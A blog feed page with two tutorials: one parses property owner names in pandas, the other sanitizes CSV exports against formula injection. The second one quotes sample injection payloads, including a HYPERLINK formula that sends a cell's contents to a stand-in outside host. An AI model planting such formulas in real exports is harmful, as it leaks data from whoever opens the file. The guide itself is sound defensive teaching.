DEV Community: Locate Next

Parsing Property Owner Names in pandas: Individuals, Joint Owners, Trusts and LLCs

Locate Next — Thu, 22 Oct 2026 23:00:06 +0000

If you have pulled a parcel list from a county assessor or recorder, you have seen the owner name field. It looks like a name column, but it holds far more: two spouses in one cell, a trust with a trustee tucked in, a business entity, a deceased owner's estate, plus Latin abbreviations that mean "and others."

Before you send a list out for skip tracing, you need to know who (or what) each record actually is. A skip trace on SMITH JOHN & MARY ETUX as one literal string won't work well. Sending MAIN STREET HOLDINGS LLC through a person search is a waste.

This guide builds a small pandas pipeline that:

classifies each owner as an individual or an entity (business, trust, estate, government or nonprofit)
strips co-owner and trustee markers and records them as flags
splits joint owners into separate rows
parses LAST FIRST MIDDLE names carefully, and flags ambiguity instead of guessing
keeps the raw column untouched and adds a parse_status column
tests the whole thing with plain assert statements

All names, parcel IDs and owner strings in this guide are fictional examples.

Every code block runs on its own with Python 3 and pandas (1.5 or newer, because of reset_index(names=...)).

Why the owner name field is so messy

Assessor systems were built to record ownership, not to feed a contact workflow. Here's what you'll commonly see:

LAST FIRST order. SMITH JOHN A means John A. Smith. Some counties add a comma (SMITH, JOHN A), many don't.
Joint owners with "&" or "AND". SMITH JOHN & MARY usually means John Smith and Mary Smith. SMITH JOHN & JONES MARY means two people with different last names, but without punctuation you can't always tell where one name ends.
ETAL, ETUX, ETVIR. Abbreviations of Latin phrases: et al. ("and others"), et uxor ("and wife"), et vir ("and husband"). They mark co-owners who aren't named. They are not people you can trace.
TRUSTEE, TR, TRS, TTEE. A person holding title as trustee. SMITH JOHN TR is an individual acting in a role, which is different from SMITH FAMILY LIVING TRUST.
Trust names. "LIVING TRUST", "REVOCABLE TRUST", "FAMILY TR", "IRREVOCABLE".
Business entities. "LLC", "L.L.C.", "INC", "CORP", "LP", "LTD", plus names that read like businesses even without a suffix ("HOLDINGS", "PROPERTIES", "INVESTMENTS").
Estates. "ESTATE OF", "EST OF", "DECD". Who has authority over the property is a legal question that the name field can't answer.
Generational suffixes that may come after the last name (SMITH JR JOHN) or at the very end (SMITH JOHN JR).
Truncation. Many systems cap the field length, so long joint names get cut off in the middle.

Conventions vary by county, and sometimes by the year a record was entered. The keyword lists below are a starting point, not a standard. Sample your own export before you trust any rule.

Start by sampling your own data

Before writing parsing rules, look at which tokens actually show up. Counting tokens, and especially last tokens, quickly shows which suffixes and markers your county uses. The cleanup regex keeps / so that slash markers like H/W survive as a single token.

import pandas as pd

# Replace with: df = pd.read_csv("assessor_export.csv", dtype=str)
df = pd.DataFrame({"owner_name": [
    "SMITH JOHN A", "SMITH JOHN & MARY ETUX", "MAIN STREET HOLDINGS LLC",
    "GARCIA MARIA TR", "JONES ROBERT ETAL", "SMITH FAMILY LIVING TRUST",
    "ESTATE OF LEE DAVID", "BROWN JAMES H/W", None,
]})

clean = (df["owner_name"].fillna("").str.upper()
         .str.replace(r"[^A-Z&/\s]", " ", regex=True))

print("Most common tokens:")
print(clean.str.split().explode().value_counts().head(30))

print("\nMost common last tokens:")
print(clean.str.split().str[-1].value_counts().head(30))

On a real file, read through the top few hundred tokens. You will probably find abbreviations specific to your county (TTEES, LIV TR, H/W, JTRS) that you'll want to add to the lists below. Slash markers like H/W need special handling, which is covered in the joint owner section.

Keep the raw column, normalize a copy

Never overwrite the source field. Every parsed row should trace back to the original string, so a reviewer can see exactly what the county recorded. Normalization should be light: uppercase, drop periods, standardize commas, collapse whitespace.

Classify entity vs individual with regex keyword lists

Classification comes first, because joint-owner splitting should only apply to individuals. JOHNSON & JOHNSON INC contains an ampersand but is one entity.

The patterns are checked in order, so the first match wins. Word boundaries (\b) matter here: \bTRUST\b must not match TRUSTEE, and STATE OF must not match inside ESTATE OF.

import re
import pandas as pd

# Checked in order: the first matching label wins.
ENTITY_PATTERNS = [
    ("government_or_nonprofit",
     r"\b(?:CITY|COUNTY|STATE) OF\b|\bHOUSING AUTHORITY\b|\bSCHOOL DISTRICT\b"
     r"|\bCHURCH\b|\bASSOCIATION\b|\bASSN\b|\bHOA\b"),
    ("business",
     r"\bL ?L ?C\b|\bINC\b|\bCORP(?:ORATION)?\b|\bCOMPANY\b|\bCO\b|\bLTD\b"
     r"|\bL ?L ?P\b|\bLP\b|\bPLLC\b|\bHOLDINGS?\b|\bPROPERTIES\b"
     r"|\bINVESTMENTS?\b|\bPARTNERS(?:HIP)?\b|\bENTERPRISES?\b|\bBANK\b"),
    ("trust",
     r"\bTRUST\b|\bTRST\b|\bLIVING TR\b|\bREV(?:OCABLE)? TR\b|\bFAMILY TR\b"
     r"|\bIRREVOCABLE\b"),
    ("estate",
     r"\bESTATE OF\b|\bEST OF\b|\bESTATE\b|\bDECD\b|\bDECEASED\b"),
]


def normalize_owner(raw):
    if pd.isna(raw):
        return ""
    s = str(raw).upper().replace(".", "")
    s = re.sub(r"\s*,\s*", ", ", s)
    return re.sub(r"\s+", " ", s).strip(" ,")


def classify_owner(norm):
    if not norm:
        return "blank"
    for label, pattern in ENTITY_PATTERNS:
        if re.search(pattern, norm):
            return label
    return "individual"


df = pd.DataFrame({"owner_name": [
    "SMITH JOHN A", "Main Street Holdings, L.L.C.", "SMITH FAMILY LIVING TRUST",
    "ESTATE OF JONES MARY", "JOHNSON & JOHNSON INC", "GARCIA MARIA TR", None,
]})
df["owner_norm"] = df["owner_name"].map(normalize_owner)
df["owner_type"] = df["owner_norm"].map(classify_owner)

assert df["owner_type"].tolist() == [
    "individual", "business", "trust", "estate",
    "business", "individual", "blank",
]

# Known false positives: surnames and business words that match a keyword
assert classify_owner("CHURCH JOHN A") == "government_or_nonprofit"
assert classify_owner("ACME REAL ESTATE") == "estate"
print(df)

A few judgment calls are worth stating plainly:

\bCO\b catches "ACME CO" but could also match a "CO" that stands for "co-trustee" in some counties. Check your sample.
\bCHURCH\b labels CHURCH JOHN A as government_or_nonprofit, even though Church is a common surname. If your county writes LAST FIRST, one option is to skip this keyword when it's the first token and the rest of the string looks like a person's name, or to review every CHURCH match by hand.
The bare \bESTATE\b labels ACME REAL ESTATE as estate, because no business keyword matched first. (ACME REAL ESTATE LLC would be classified correctly as a business.) If this comes up in your data, drop the bare ESTATE and rely on ESTATE OF, EST OF and DECD, or add REAL ESTATE to the business pattern.
GARCIA MARIA TR is classified as an individual on purpose. The person is the trustee, and the trustee is usually who you'd research. The trustee marker is handled in the next step.
If a trust or LLC is the owner, the name field alone won't tell you who controls it. For LLCs, the usual next step is your state's official business entity search (typically run by the Secretary of State). Keep a simple log of what each filing actually says, without adding assumptions.

Strip ETAL, ETUX and TRUSTEE markers, then split joint owners

For individuals, co-owner markers and trustee markers turn into boolean flags and get removed from the name text. Then the remaining string is split on &, the standalone word AND, or /.

import re

CO_OWNER_PATTERN = r"\b(?:ETAL|ET AL|ETUX|ET UX|ETVIR|ET VIR)\b"
TRUSTEE_PATTERN = r"\b(?:TRUSTEES?|TTEES?|TRS|TR)\b"
JOINT_SPLIT = r"\s*(?:&|\bAND\b|/)\s*"


def strip_markers(norm):
    has_co_owner = bool(re.search(CO_OWNER_PATTERN, norm))
    is_trustee = bool(re.search(TRUSTEE_PATTERN, norm))
    s = re.sub(CO_OWNER_PATTERN, " ", norm)
    s = re.sub(TRUSTEE_PATTERN, " ", s)
    s = re.sub(r"\s+", " ", s).strip(" ,&/")
    return s, has_co_owner, is_trustee


def split_joint(s):
    return [p.strip(" ,") for p in re.split(JOINT_SPLIT, s) if p.strip(" ,")]


assert strip_markers("SMITH JOHN & MARY ETUX") == ("SMITH JOHN & MARY", True, False)
assert strip_markers("GARCIA MARIA TR") == ("GARCIA MARIA", False, True)
assert split_joint("SMITH JOHN & MARY") == ["SMITH JOHN", "MARY"]
assert split_joint("LEE DAVID AND KIM SUSAN") == ["LEE DAVID", "KIM SUSAN"]
assert split_joint("ANDERSON PAUL") == ["ANDERSON PAUL"]  # \bAND\b, not ANDERSON

# Pitfall: slash markers left in the string create a fake owner named "W"
assert split_joint("SMITH JOHN H/W") == ["SMITH JOHN H", "W"]
print("Marker and split checks passed")

has_co_owner matters downstream: it tells your team that the named people may not be the only owners on title. Don't drop that information.

Slash markers must be removed before splitting. Because JOINT_SPLIT splits on /, any marker containing a slash, such as H/W (husband and wife), has to be stripped before split_joint runs. Otherwise SMITH JOHN H/W becomes two "owners," SMITH JOHN H and W, as the last assert shows. You could add H/W to CO_OWNER_PATTERN, but that sets has_co_owner to True, which may overstate things: H/W usually describes how the named owners hold title rather than pointing to someone unnamed. The complete pipeline below takes the cleaner route: a separate SLASH_MARKER_PATTERN that removes these markers without touching has_co_owner. Check how your county uses each slash marker and extend the pattern to match.

Parse LAST FIRST MIDDLE carefully, and flag what you can't resolve

This is where most name parsers go wrong. They pick an interpretation and move on. The rules here are deliberately conservative:

Comma present: everything before the comma is the last name. This is the most reliable form.
Two tokens: LAST FIRST.
Three tokens: LAST FIRST MIDDLE, assuming your county uses that order (confirm it in your sample).
A surname particle (DE, LA, VAN, VON, ST, and so on) in the first two tokens: flag as ambiguous_particle. DE LA CRUZ MARIA has a three-word last name, and a simple token split would get it wrong.
Four or more tokens without a comma: flag as ambiguous_long. Compound surnames, two middle names, and truncated joint names all look the same.
One token: keep it as a last name and flag single_token.

Generational suffixes (JR, SR, II, III, IV) are pulled out wherever they appear after the first token. V is left off on purpose because it collides with a middle initial V.

For the second and later names in a joint owner string:

One token (MARY) means a first name that shares the primary owner's last name.
Two tokens where the second is a single letter (MARY K) means first name plus middle initial, shared last name.
A first token that repeats the primary last name (SMITH MARY) gets parsed as a full name.
Anything else, such as JONES MARY, is flagged ambiguous_joint. It could be Mary Jones, or it could be someone named Jones Mary Smith. Leave the name fields empty and keep the text in name_part for a human to review.

SUFFIXES = {"JR", "SR", "II", "III", "IV"}
PARTICLES = {"DE", "DEL", "DELA", "DA", "DI", "DOS", "DU", "LA", "LE",
             "VAN", "VON", "ST"}
EMPTY_NAME = {"last_name": None, "first_name": None,
              "middle_name": None, "suffix": None}


def pop_suffix(tokens):
    """Remove a generational suffix found after the first token."""
    keep, suffix = [tokens[0]], None
    for t in tokens[1:]:
        if t in SUFFIXES and suffix is None:
            suffix = t
        else:
            keep.append(t)
    return keep, suffix


def parse_last_first(name):
    """Parse one name assumed to be in LAST FIRST MIDDLE order."""
    if "," in name:
        last, _, rest = name.partition(",")
        tokens = rest.split()
        if not last.strip() or not tokens:
            return {**EMPTY_NAME, "parse_status": "needs_review"}
        suffix = next((t for t in tokens if t in SUFFIXES), None)
        tokens = [t for t in tokens if t != suffix]
        if not tokens:
            return {**EMPTY_NAME, "parse_status": "needs_review"}
        return {"last_name": last.strip(), "first_name": tokens[0],
                "middle_name": " ".join(tokens[1:]) or None,
                "suffix": suffix, "parse_status": "ok_comma"}

    tokens = name.split()
    if not tokens:
        return {**EMPTY_NAME, "parse_status": "needs_review"}
    tokens, suffix = pop_suffix(tokens)
    if len(tokens) == 1:
        return {**EMPTY_NAME, "last_name": tokens[0], "suffix": suffix,
                "parse_status": "single_token"}
    if any(t in PARTICLES for t in tokens[:2]):
        return {**EMPTY_NAME, "parse_status": "ambiguous_particle"}
    if len(tokens) > 3:
        return {**EMPTY_NAME, "parse_status": "ambiguous_long"}
    return {"last_name": tokens[0], "first_name": tokens[1],
            "middle_name": tokens[2] if len(tokens) == 3 else None,
            "suffix": suffix, "parse_status": "ok"}


assert parse_last_first("SMITH JOHN A")["middle_name"] == "A"
assert parse_last_first("SMITH JR JOHN")["suffix"] == "JR"
assert parse_last_first("SMITH, JOHN R JR")["parse_status"] == "ok_comma"
assert parse_last_first("DE LA CRUZ MARIA")["parse_status"] == "ambiguous_particle"
assert parse_last_first("GARCIA LOPEZ MARIA ELENA")["parse_status"] == "ambiguous_long"

# Known over-flag: LE is a common Vietnamese surname, not a particle here
assert parse_last_first("LE THANH VAN")["parse_status"] == "ambiguous_particle"
print("Name parsing checks passed")

The particle rule over-flags some common surnames. LE, DA and DU are in PARTICLES because they appear in French, Portuguese and Italian compound surnames, but they are also common Vietnamese surnames on their own. A plain three-part name like LE THANH VAN comes back ambiguous_particle, as the last assert shows, even though it most likely parses fine as LAST FIRST MIDDLE. If your county has many such names, you have a few options: remove those tokens from PARTICLES and accept that the occasional compound surname will be split wrong, keep them in a separate set that only flags when another particle follows (as in DE LA), or leave the rule as is and expect more rows in review. Look at your own sample before deciding which mistake is cheaper.

Flagged rows aren't failures. They're the rows where a confident guess would most likely send the wrong name to a skip trace vendor. A quick manual pass over them is usually cheaper than chasing bad results later.

The complete pipeline, with assert tests

This block combines everything. parse_owner returns a list of dicts, one per person or entity. parse_owner_column explodes those lists into rows while keeping every original column, including the untouched owner_name, plus a source_row that points back to the input row. Slash markers are removed with SLASH_MARKER_PATTERN before split_joint runs. The assert suite at the bottom is the real point: every time your data surprises you, add a case.

One caution about column names: the parsed fields (last_name, first_name, role, parse_status and the rest) are added next to your original columns. If your input already has a column with one of those names, a plain concat would quietly produce duplicate column names, so parse_owner_column checks for that and raises an error. Rename the existing columns first, or add a prefix to the parsed fields.

import re
import pandas as pd

ENTITY_PATTERNS = [
    ("government_or_nonprofit",
     r"\b(?:CITY|COUNTY|STATE) OF\b|\bHOUSING AUTHORITY\b|\bSCHOOL DISTRICT\b"
     r"|\bCHURCH\b|\bASSOCIATION\b|\bASSN\b|\bHOA\b"),
    ("business",
     r"\bL ?L ?C\b|\bINC\b|\bCORP(?:ORATION)?\b|\bCOMPANY\b|\bCO\b|\bLTD\b"
     r"|\bL ?L ?P\b|\bLP\b|\bPLLC\b|\bHOLDINGS?\b|\bPROPERTIES\b"
     r"|\bINVESTMENTS?\b|\bPARTNERS(?:HIP)?\b|\bENTERPRISES?\b|\bBANK\b"),
    ("trust",
     r"\bTRUST\b|\bTRST\b|\bLIVING TR\b|\bREV(?:OCABLE)? TR\b|\bFAMILY TR\b"
     r"|\bIRREVOCABLE\b"),
    ("estate",
     r"\bESTATE OF\b|\bEST OF\b|\bESTATE\b|\bDECD\b|\bDECEASED\b"),
]
CO_OWNER_PATTERN = r"\b(?:ETAL|ET AL|ETUX|ET UX|ETVIR|ET VIR)\b"
TRUSTEE_PATTERN = r"\b(?:TRUSTEES?|TTEES?|TRS|TR)\b"
SLASH_MARKER_PATTERN = r"\b(?:H/W|H&W|W/H)\b"
JOINT_SPLIT = r"\s*(?:&|\bAND\b|/)\s*"
SUFFIXES = {"JR", "SR", "II", "III", "IV"}
PARTICLES = {"DE", "DEL", "DELA", "DA", "DI", "DOS", "DU", "LA", "LE",
             "VAN", "VON", "ST"}
EMPTY_NAME = {"last_name": None, "first_name": None,
              "middle_name": None, "suffix": None}


def normalize_owner(raw):
    if pd.isna(raw):
        return ""
    s = str(raw).upper().replace(".", "")
    s = re.sub(r"\s*,\s*", ", ", s)
    return re.sub(r"\s+", " ", s).strip(" ,")


def classify_owner(norm):
    if not norm:
        return "blank"
    for label, pattern in ENTITY_PATTERNS:
        if re.search(pattern, norm):
            return label
    return "individual"


def strip_markers(norm):
    has_co_owner = bool(re.search(CO_OWNER_PATTERN, norm))
    is_trustee = bool(re.search(TRUSTEE_PATTERN, norm))
    s = re.sub(CO_OWNER_PATTERN, " ", norm)
    s = re.sub(TRUSTEE_PATTERN, " ", s)
    s = re.sub(r"\s+", " ", s).strip(" ,&/")
    return s, has_co_owner, is_trustee


def strip_slash_markers(s):
    """Remove H/W style markers so split_joint does not invent an owner."""
    s = re.sub(SLASH_MARKER_PATTERN, " ", s)
    return re.sub(r"\s+", " ", s).strip(" ,&/")


def split_joint(s):
    return [p.strip(" ,") for p in re.split(JOINT_SPLIT, s) if p.strip(" ,")]


def pop_suffix(tokens):
    keep, suffix = [tokens[0]], None
    for t in tokens[1:]:
        if t in SUFFIXES and suffix is None:
            suffix = t
        else:
            keep.append(t)
    return keep, suffix


def parse_last_first(name):
    if "," in name:
        last, _, rest = name.partition(",")
        tokens = rest.split()
        if not last.strip() or not tokens:
            return {**EMPTY_NAME, "parse_status": "needs_review"}
        suffix = next((t for t in tokens if t in SUFFIXES), None)
        tokens = [t for t in tokens if t != suffix]
        if not tokens:
            return {**EMPTY_NAME, "parse_status": "needs_review"}
        return {"last_name": last.strip(), "first_name": tokens[0],
                "middle_name": " ".join(tokens[1:]) or None,
                "suffix": suffix, "parse_status": "ok_comma"}
    tokens = name.split()
    if not tokens:
        return {**EMPTY_NAME, "parse_status": "needs_review"}
    tokens, suffix = pop_suffix(tokens)
    if len(tokens) == 1:
        return {**EMPTY_NAME, "last_name": tokens[0], "suffix": suffix,
                "parse_status": "single_token"}
    if any(t in PARTICLES for t in tokens[:2]):
        return {**EMPTY_NAME, "parse_status": "ambiguous_particle"}
    if len(tokens) > 3:
        return {**EMPTY_NAME, "parse_status": "ambiguous_long"}
    return {"last_name": tokens[0], "first_name": tokens[1],
            "middle_name": tokens[2] if len(tokens) == 3 else None,
            "suffix": suffix, "parse_status": "ok"}


def parse_joint_part(part, primary_last):
    tokens = part.split()
    if "," in part or (primary_last and tokens[0] == primary_last):
        return parse_last_first(part)
    tokens, suffix = pop_suffix(tokens)
    if primary_last and len(tokens) == 1:
        return {"last_name": primary_last, "first_name": tokens[0],
                "middle_name": None, "suffix": suffix,
                "parse_status": "ok_shared_last"}
    if primary_last and len(tokens) == 2 and len(tokens[1]) == 1:
        return {"last_name": primary_last, "first_name": tokens[0],
                "middle_name": tokens[1], "suffix": suffix,
                "parse_status": "ok_shared_last"}
    return {**EMPTY_NAME, "parse_status": "ambiguous_joint"}


def parse_owner(raw):
    """Return a list of dicts, one per person or entity in the field."""
    norm = normalize_owner(raw)
    owner_type = classify_owner(norm)
    base = {"owner_norm": norm, "owner_type": owner_type}

    if owner_type != "individual":
        status = "blank" if owner_type == "blank" else "entity"
        return [{**base, "owner_seq": 1, "name_part": norm, "role": None,
                 "has_co_owner": False, **EMPTY_NAME,
                 "parse_status": status}]

    s, has_co_owner, is_trustee = strip_markers(norm)
    s = strip_slash_markers(s)  # must run before split_joint
    role = "trustee" if is_trustee else "owner"
    rows, primary_last = [], None
    for seq, part in enumerate(split_joint(s), start=1):
        if seq == 1:
            parsed = parse_last_first(part)
            primary_last = parsed["last_name"]
        else:
            parsed = parse_joint_part(part, primary_last)
        rows.append({**base, "owner_seq": seq, "name_part": part,
                     "role": role, "has_co_owner": has_co_owner, **parsed})

    if not rows:
        rows.append({**base, "owner_seq": 1, "name_part": s, "role": role,
                     "has_co_owner": has_co_owner, **EMPTY_NAME,
                     "parse_status": "needs_review"})
    return rows


def parse_owner_column(df, col="owner_name"):
    """One output row per parsed owner. The raw column is left untouched."""
    out = (df.assign(_parsed=df[col].map(parse_owner))
             .explode("_parsed")
             .reset_index(names="source_row"))
    fields = pd.DataFrame(out.pop("_parsed").tolist())
    clash = set(fields.columns) & set(out.columns)
    if clash:
        raise ValueError(f"Input already has parsed column names: {sorted(clash)}")
    return pd.concat([out, fields], axis=1)


# Assert tests: add a case every time your own data surprises you.
def first(raw):
    return parse_owner(raw)[0]

# Classification
assert classify_owner(normalize_owner("Main Street Holdings, L.L.C.")) == "business"
assert classify_owner(normalize_owner("SMITH JOHN & MARY")) == "individual"
assert classify_owner(normalize_owner("SMITH FAMILY LIVING TRUST")) == "trust"
assert classify_owner(normalize_owner("ESTATE OF JOHN SMITH")) == "estate"
assert classify_owner(normalize_owner("COUNTY OF ORANGE")) == "government_or_nonprofit"
assert classify_owner(normalize_owner(None)) == "blank"

# TRUSTEE and TR are roles, not the TRUST keyword
assert classify_owner(normalize_owner("SMITH JOHN TRUSTEE")) == "individual"
assert first("SMITH JOHN TR")["role"] == "trustee"
assert first("SMITH JOHN TR")["first_name"] == "JOHN"

# Entities stay on one row, even with & in the name
rows = parse_owner("JOHNSON & JOHNSON INC")
assert len(rows) == 1 and rows[0]["parse_status"] == "entity"

# LAST FIRST MIDDLE
r = first("SMITH JOHN A")
assert (r["last_name"], r["first_name"], r["middle_name"]) == ("SMITH", "JOHN", "A")
assert r["parse_status"] == "ok"

# Comma form and suffixes in different positions
r = first("SMITH, JOHN R JR")
assert (r["last_name"], r["first_name"], r["middle_name"], r["suffix"]) == ("SMITH", "JOHN", "R", "JR")
r = first("SMITH JR JOHN")
assert (r["last_name"], r["first_name"], r["suffix"]) == ("SMITH", "JOHN", "JR")

# Joint owners sharing a last name
rows = parse_owner("SMITH JOHN & MARY")
assert [x["first_name"] for x in rows] == ["JOHN", "MARY"]
assert [x["last_name"] for x in rows] == ["SMITH", "SMITH"]
assert rows[1]["parse_status"] == "ok_shared_last"
rows = parse_owner("SMITH JOHN AND MARY K")
assert rows[1]["last_name"] == "SMITH" and rows[1]["middle_name"] == "K"

# Joint owners with the last name repeated
rows = parse_owner("SMITH JOHN & SMITH MARY")
assert rows[1]["parse_status"] == "ok" and rows[1]["first_name"] == "MARY"

# Two tokens after & could be FIRST MIDDLE or LAST FIRST: flag, do not guess
rows = parse_owner("SMITH JOHN & JONES MARY")
assert rows[1]["parse_status"] == "ambiguous_joint"
assert rows[1]["last_name"] is None and rows[1]["name_part"] == "JONES MARY"

# ETAL and ETUX are flags, not people
rows = parse_owner("SMITH JOHN ETUX")
assert len(rows) == 1 and rows[0]["has_co_owner"] is True
rows = parse_owner("SMITH JOHN & MARY ET AL")
assert len(rows) == 2 and all(x["has_co_owner"] for x in rows)

# Slash markers are stripped before splitting: no fake owner named "W"
assert len(parse_owner("BROWN JAMES H/W")) == 1
assert first("BROWN JAMES H/W")["has_co_owner"] is False

# Particles, long names and leftovers get flagged
assert first("DE LA CRUZ MARIA")["parse_status"] == "ambiguous_particle"
assert first("GARCIA LOPEZ MARIA ELENA")["parse_status"] == "ambiguous_long"
assert first("SMITH")["parse_status"] == "single_token"
assert first("ETAL")["parse_status"] == "needs_review"

# DataFrame round trip keeps the raw column and the parcel key
df = pd.DataFrame({"parcel_id": ["001", "002"],
                   "owner_name": ["SMITH JOHN & MARY", "ACME PROPERTIES LLC"]})
out = parse_owner_column(df)
assert len(out) == 3
assert out["owner_name"].tolist() == ["SMITH JOHN & MARY"] * 2 + ["ACME PROPERTIES LLC"]
assert out["parcel_id"].tolist() == ["001", "001", "002"]

# Existing columns with parsed field names are rejected, not duplicated
try:
    parse_owner_column(df.assign(role="seller"))
    raise AssertionError("expected a column collision error")
except ValueError:
    pass

print("All tests passed")
print(out[["parcel_id", "owner_name", "owner_seq", "last_name",
           "first_name", "parse_status"]])

A note on the role column: it's set for every person in the string. Some counties write SMITH JOHN TR & MARY where only some of the people are trustees. If that pattern shows up in your sample, treat the trustee flag as "at least one trustee is named" and review those rows.

Reviewing the output before skip tracing

Once the pipeline runs, look at the distribution of statuses before anything goes out the door. Every row should land in exactly one bucket, including rows where the owner field was empty:

import pandas as pd

# Stand-in for the output of parse_owner_column
out = pd.DataFrame({
    "owner_type": ["individual", "individual", "business", "individual",
                   "trust", "blank"],
    "parse_status": ["ok", "ok_shared_last", "entity", "ambiguous_joint",
                     "entity", "blank"],
    "name_part": ["SMITH JOHN", "MARY", "ACME PROPERTIES LLC", "JONES MARY",
                  "SMITH FAMILY LIVING TRUST", ""],
})

print(pd.crosstab(out["owner_type"], out["parse_status"]))

ready = out[out["parse_status"].isin(["ok", "ok_comma", "ok_shared_last"])]
review = out[out["parse_status"].str.startswith(("ambiguous", "needs_review", "single"))]
entities = out[out["parse_status"] == "entity"]
blank = out[out["parse_status"] == "blank"]

assert len(ready) + len(review) + len(entities) + len(blank) == len(out)
print(f"\nready: {len(ready)}, review: {len(review)}, "
      f"entities: {len(entities)}, blank: {len(blank)}")

The assert on the bucket totals is a cheap guard: if you add a new status later and forget to route it, the check fails instead of rows silently disappearing.

A practical split:

Ready rows go to your person-level skip trace.
Review rows get a quick human pass. Fixes go back into the assert suite as new test cases, not just into the spreadsheet.
Entity rows follow a different research path: official state business filings for LLCs and corporations, and county or court records for trusts and estates. Procedures and what's publicly available vary by state, so check the official source for your jurisdiction. Don't treat a name match as proof of who has authority over a property.
Blank rows have no owner name to work with. They need a different data source, such as a fresh pull from the assessor or recorder, or a look at the deed record for that parcel, before they can go anywhere.

What comes next in the pipeline

Owner parsing is one step in a longer prep workflow. After this:

Deduplicate owners across lists. Once names sit in separate columns, matching the same person across several parcels and lead lists gets much easier.
Flag absentee owners by comparing the situs address with the mailing address.
Normalize returned phone numbers to one consistent format, such as E.164, before a CRM import.
Keep compliance flags tied to the right number. When results come back, make sure each Do Not Call status stays attached to the specific phone it applies to. For the national registry, start with official sources such as the National Do Not Call Registry. Calling and texting are also covered by the TCPA and by state rules that differ from place to place, so confirm your outreach process with your counsel before you dial or text these lists.

Wrapping up

The owner name field packs several facts into one string: who owns the property, what kind of owner it is, whether anyone is unnamed, and in what capacity someone holds title. A good parser separates those facts into columns without inventing anything. Keep the raw value, classify before you split, turn markers like ETAL and TR into flags, strip slash markers before splitting, and let parse_status say "I'm not sure" when the string really is ambiguous. Then grow the keyword lists and the assert suite every time your county's data shows you a new pattern.

Published by Locate Next (locatenext.com).

Safe CSV export in Python: preventing formula injection before a lead list reaches Excel

Locate Next — Thu, 22 Oct 2026 22:07:02 +0000

Lead lists and skip-trace exports usually end up in a spreadsheet. Someone downloads the CSV, double-clicks it, and Excel opens it. That habit is why CSV injection (also called formula injection) matters. If a cell's text starts with certain characters, the spreadsheet may treat it as a formula. The person running the export didn't write that formula. It came from whoever typed the value.

This guide covers how the attack works and how to sanitize a pandas DataFrame without breaking negative numbers or E.164 phone numbers. It also covers the to_csv quoting and encoding settings that matter for Excel, and a test harness that checks the export does what you expect. Save the first block as safe_export.py; later blocks import from it.

All names, phone numbers, addresses and balances in the examples below are fictional (the phone numbers use the reserved 555-01xx range).

What is CSV injection and why does it matter for lead lists?

A CSV file is plain text, so it can't run anything by itself. The risk appears when a spreadsheet application opens the file and reads a cell as a formula. The OWASP guidance on CSV injection lists these leading characters as dangerous:

Equals sign =
Plus sign +
Minus sign -
At sign @
Tab (0x09)
Carriage return (0x0D)

A cell like =HYPERLINK("http://example.com/?x="&A1,"View") can become a clickable link that sends the contents of another cell to an outside server. Other formulas can pull in external data or trigger warnings that users click through. Excel, LibreOffice Calc and Google Sheets all evaluate formulas, though each has different warnings and defaults.

Your Python code isn't compromised. Your teammates and vendors who open the file are the ones exposed, and the export is how the payload reaches them.

Why lead lists and skip-trace exports are exposed to CSV injection

Contact and property data comes from many hands: web forms, CRM notes fields, imported list files, and agents typing notes on a call. Any of these fields can hold text that starts with = or @:

Owner or contact names
Mailing addresses
Free-text notes and tags
Email addresses (@ at the start of a malformed value)
Custom fields copied in from other systems, including their column names

Lead workflows export the same records again and again. A VA cleans a driving-for-dollars list, a teammate merges in a tax-delinquent or probate list, and the file goes to a dialer, a texting tool and a mail house. Each handoff is another chance for one bad cell to reach a spreadsheet.

Sanitizing protects whoever opens the file, not your outreach, so check TCPA, DNC and state rules for calls and texts with your counsel before any list reaches a dialer.

Here is what a plain pandas export does with a hostile name:

import io

import pandas as pd

leads = pd.DataFrame({
    "name": ["Avery Quinn", '=HYPERLINK("http://example.com/?x="&A1,"View")'],
    "notes": ["Call after 5pm", "+1+1"],
})

buffer = io.StringIO()
leads.to_csv(buffer, index=False)
print(buffer.getvalue(), end="")

name,notes
Avery Quinn,Call after 5pm
"=HYPERLINK(""http://example.com/?x=""&A1,""View"")",+1+1

pandas wrote valid CSV and escaped the embedded quotes. The quotes don't protect anything, though. When the file is opened, the spreadsheet removes the CSV quoting and finds a formula. The +1+1 note can also be evaluated, and it shows 2.

A pandas sanitizer that keeps negative numbers and E.164 phones

The usual defense, and the one OWASP recommends, is to put a single quote (') in front of any cell that starts with a dangerous character. The cell then can't begin a formula, so the spreadsheet loads it as text. This is not the same as typing an apostrophe into Excel by hand: when the apostrophe comes from a CSV file, Excel usually shows it as part of the cell.

Prefixing every value blindly breaks legitimate data. Two cases matter most in contact data:

Negative numbers. A balance of -12.5 is a number, not an attack. Numeric dtype columns are left alone, so they stay numeric. Strictly numeric strings such as "-42" are also safe, because the spreadsheet reads them as plain numbers.
E.164 phone numbers. A value like +13125550147 starts with +. Once your phone column is normalized, you don't want an apostrophe in front of every number.

The fix is an allowlist of phone columns. An allowlisted value is left unchanged only if it fully matches an E.164 pattern. Anything else in that column, such as +1+1, still gets the prefix. If you haven't already, normalize your phone column to E.164 first.

Column names get the same treatment. A header row is just another row of cells once the file is opened, and a custom field named =cmd is as dangerous as a value.

# safe_export.py
import csv
import re

import pandas as pd

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
NUMERIC_TEXT = re.compile(r"-?\d+(\.\d+)?")
E164 = re.compile(r"\+[1-9]\d{1,14}")


def sanitize_cell(value, allow_e164=False):
    if not isinstance(value, str) or not value.startswith(FORMULA_PREFIXES):
        return value
    if NUMERIC_TEXT.fullmatch(value):
        return value
    if allow_e164 and E164.fullmatch(value):
        return value
    return "'" + value


def sanitize_dataframe(df, phone_columns=()):
    safe = df.copy()
    for column in safe.columns:
        if pd.api.types.is_numeric_dtype(safe[column]):
            continue
        allow = column in phone_columns
        safe[column] = safe[column].map(lambda v: sanitize_cell(v, allow_e164=allow))
    safe.columns = [sanitize_cell(column) for column in safe.columns]
    return safe


def export_for_excel(df, path, phone_columns=()):
    safe = sanitize_dataframe(df, phone_columns=phone_columns)
    safe.to_csv(path, index=False, quoting=csv.QUOTE_ALL, encoding="utf-8-sig")
    return safe


if __name__ == "__main__":
    leads = pd.DataFrame({
        "name": ["Avery Quinn", "=2+5", "@SUM(A1:A9)"],
        "phone": ["+13125550147", "+1+1", "312-555-0188"],
        "notes": ["-5 days since contact", "\tleading tab", "-42"],
        "balance": [-12.5, 0.0, 40.25],
    })

    safe = sanitize_dataframe(leads, phone_columns=("phone",))
    for column in safe.columns:
        print(column, safe[column].tolist())
